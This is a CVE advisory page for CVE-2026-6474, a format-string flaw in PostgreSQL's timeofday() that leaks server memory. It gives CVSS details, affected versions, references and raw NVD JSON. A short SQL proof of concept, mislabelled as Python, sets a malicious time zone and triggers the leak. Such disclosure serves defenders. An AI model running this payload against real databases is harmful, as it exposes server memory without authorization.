CVE-2026-6474 CVSS 4.3 MEDIUM

CVE-2026-6474

Published: 2026-05-14 14:16:25

Last Modified: 2026-05-14 16:21:23

Source: f86ef6dc-4d3a-42ad-8f28-e6d5547a5007

Description

Externally-controlled format string in PostgreSQL timeofday() function allows an attacker to retrieve portions of server memory, via crafted timezone zones. Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

PostgreSQL < 18.4

PostgreSQL < 17.10

PostgreSQL < 16.14

PostgreSQL < 15.18

PostgreSQL < 14.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

-- Set a malicious timezone containing format specifiers
SET TIME ZONE '%p%n%s%n%x%n';

-- Trigger the vulnerable function to read memory
SELECT timeofday();

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-6474
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-6474
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-6474/
[4] VulDB https://vuldb.com/cve/CVE-2026-6474
[5] https://www.postgresql.org/support/security/CVE-2026-6474/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-6474", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:24.997", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Externally-controlled format string in PostgreSQL timeofday() function allows an attacker to retrieve portions of server memory, via crafted timezone zones.  Versions before PostgreSQL 18.4, 17.10, 16.14, 15.18, and 14.23 are affected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-134"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6474/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}